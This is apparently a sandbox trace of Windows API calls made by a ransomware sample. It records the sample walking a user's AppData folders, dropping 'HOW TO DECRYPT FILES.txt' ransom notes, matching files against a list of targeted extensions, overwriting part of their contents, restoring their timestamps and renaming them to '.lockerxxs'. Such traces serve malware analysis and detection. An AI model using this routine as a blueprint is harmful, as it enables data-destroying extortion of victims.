[0088.278] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbab2410, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xbab2410, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xbab2410, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x2, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 0 [0088.278] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0088.278] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0088.278] lstrcmpA (lpString1=".", lpString2="Windows") returned -1 [0088.278] lstrcmpA (lpString1="..", lpString2="Windows") returned -1 [0088.278] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\*.*") returned="*.*" [0088.278] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\", lpString2="Windows" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows" [0088.279] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502658 [0088.279] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.279] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.279] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.279] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.279] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2c7870d0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0088.279] lstrcmpA (lpString1=".", lpString2="Cookies") returned -1 [0088.279] lstrcmpA (lpString1="..", lpString2="Cookies") returned -1 [0088.279] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\*.*") returned="*.*" [0088.279] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\", lpString2="Cookies" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies" [0088.279] FindFirstFileA (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*.*", lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2c7870d0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5004f0, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502698 [0088.280] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0088.280] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2c7870d0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x2c7870d0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0088.280] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0088.280] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0088.280] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1c3625f0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1c3625f0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1c3625f0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x53, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="5p5nrgjn0js_halpmcxz@adobe[1].txt", cAlternateFileName="5P5NRG~1.TXT")) returned 1 [0088.280] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.280] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@adobe[1].txt") returned 1 [0088.280] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@adobe[1].txt") returned 1 [0088.280] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@adobe[1].txt") returned -1 [0088.280] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\*.*") returned="*.*" [0088.280] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0088.280] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="" [0088.280] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" [0088.280] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\how to decrypt files.txt")) returned 0xffffffff [0088.281] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.284] SetFileTime (hFile=0x98, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0088.284] CloseHandle (hObject=0x98) returned 1 [0088.284] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="5p5nrgjn0js_halpmcxz@adobe[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" [0088.284] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt", pszSpec="*.ems") returned 0 [0088.285] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" [0088.285] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" [0088.285] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt", lpString2="." | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt." [0088.285] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.", lpString2="lockerxxs" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.lockerxxs") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.lockerxxs" [0088.285] CreateFileA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0088.286] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x53 [0088.286] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x1c3625f0, dwHighDateTime=0x1d35d06), lpLastAccessTime=0x407536*(dwLowDateTime=0x1c3625f0, dwHighDateTime=0x1d35d06), lpLastWriteTime=0x40753e*(dwLowDateTime=0x1c3625f0, dwHighDateTime=0x1d35d06)) returned 1 [0088.286] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.286] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x2d, lpOverlapped=0x0) returned 1 [0088.288] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt") returned="5p5nrgjn0js_halpmcxz@adobe[1].txt" [0088.288] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0088.288] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x2d, lpOverlapped=0x0) returned 1 [0088.288] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0088.288] CloseHandle (hObject=0x98) returned 1 [0088.289] MoveFileA (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.lockerxxs" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt.lockerxxs")) returned 1 [0088.290] FindNextFileA (in: hFindFile=0x502698, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1d72bcd0, ftCreationTime.dwHighDateTime=0x1d35d06, ftLastAccessTime.dwLowDateTime=0x1e6a4bd0, ftLastAccessTime.dwHighDateTime=0x1d35d06, ftLastWriteTime.dwLowDateTime=0x1e6a4bd0, ftLastWriteTime.dwHighDateTime=0x1d35d06, nFileSizeHigh=0x0, nFileSizeLow=0x227, dwReserved0=0x1800031b, dwReserved1=0x4e00c4, cFileName="5p5nrgjn0js_halpmcxz@adobe[3].txt", cAlternateFileName="5P0100~1.TXT")) returned 1 [0088.290] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0088.290] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="5p5nrgjn0js_halpmcxz@adobe[3].txt") returned 1 [0088.290] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="5p5nrgjn0js_halpmcxz@adobe[3].txt") returned 1 [0088.290] lstrcmpiA (lpString1="", lpString2="5p5nrgjn0js_halpmcxz@adobe[3].txt") returned -1 [0088.291] PathFindFileNameA (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[1].txt") returned="5p5nrgjn0js_halpmcxz@adobe[1].txt" [0088.291] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" [0088.291] PathAddBackslashA (in: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\" | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\") returned="" [0088.291] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" [0088.291] GetFileAttributesA (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\cookies\\how to decrypt files.txt")) returned 0x2020 [0088.291] lstrcatA (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\", lpString2="5p5nrgjn0js_halpmcxz@adobe[3].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" [0088.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.ems") returned 0 [0088.291] lstrlenA (lpString="*.ems") returned 5 [0088.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.db") returned 0 [0088.291] lstrlenA (lpString="*.db") returned 4 [0088.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.dbf") returned 0 [0088.291] lstrlenA (lpString="*.dbf") returned 5 [0088.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.myox") returned 0 [0088.291] lstrlenA (lpString="*.myox") returned 6 [0088.291] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.myo") returned 0 [0088.291] lstrlenA (lpString="*.myo") returned 5 [0088.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.qbw") returned 0 [0088.292] lstrlenA (lpString="*.qbw") returned 5 [0088.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.qbb") returned 0 [0088.292] lstrlenA (lpString="*.qbb") returned 5 [0088.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.qbm") returned 0 [0088.292] lstrlenA (lpString="*.qbm") returned 5 [0088.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.qbo") returned 0 [0088.292] lstrlenA (lpString="*.qbo") returned 5 [0088.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.qbx") returned 0 [0088.292] lstrlenA (lpString="*.qbx") returned 5 [0088.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.qba") returned 0 [0088.292] lstrlenA (lpString="*.qba") returned 5 [0088.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.qby") returned 0 [0088.292] lstrlenA (lpString="*.qby") returned 5 [0088.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.qbj") returned 0 [0088.292] lstrlenA (lpString="*.qbj") returned 5 [0088.292] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.ofx") returned 0 [0088.292] lstrlenA (lpString="*.ofx") returned 5 [0088.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.qif") returned 0 [0088.293] lstrlenA (lpString="*.qif") returned 5 [0088.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.mye") returned 0 [0088.293] lstrlenA (lpString="*.mye") returned 5 [0088.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.mbox") returned 0 [0088.293] lstrlenA (lpString="*.mbox") returned 6 [0088.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.eml") returned 0 [0088.293] lstrlenA (lpString="*.eml") returned 5 [0088.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.pst") returned 0 [0088.293] lstrlenA (lpString="*.pst") returned 5 [0088.293] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.ost") returned 0 [0088.294] lstrlenA (lpString="*.ost") returned 5 [0088.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.idx") returned 0 [0088.294] lstrlenA (lpString="*.idx") returned 5 [0088.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.dbx") returned 0 [0088.294] lstrlenA (lpString="*.dbx") returned 5 [0088.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.sql") returned 0 [0088.294] lstrlenA (lpString="*.sql") returned 5 [0088.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.mdb") returned 0 [0088.294] lstrlenA (lpString="*.mdb") returned 5 [0088.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.fdb") returned 0 [0088.294] lstrlenA (lpString="*.fdb") returned 5 [0088.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.wab") returned 0 [0088.294] lstrlenA (lpString="*.wab") returned 5 [0088.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.dat") returned 0 [0088.294] lstrlenA (lpString="*.dat") returned 5 [0088.294] PathMatchSpecA (pszFile="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt", pszSpec="*.txt") returned 1 [0088.294] lstrlenA (lpString="*.txt") returned 5 [0088.294] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" [0088.294] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Cookies\\5p5nrgjn0js_halpmcxz@adobe[3].txt" | out: lpString1="C:\\Users\\5p5NrGJn0jS 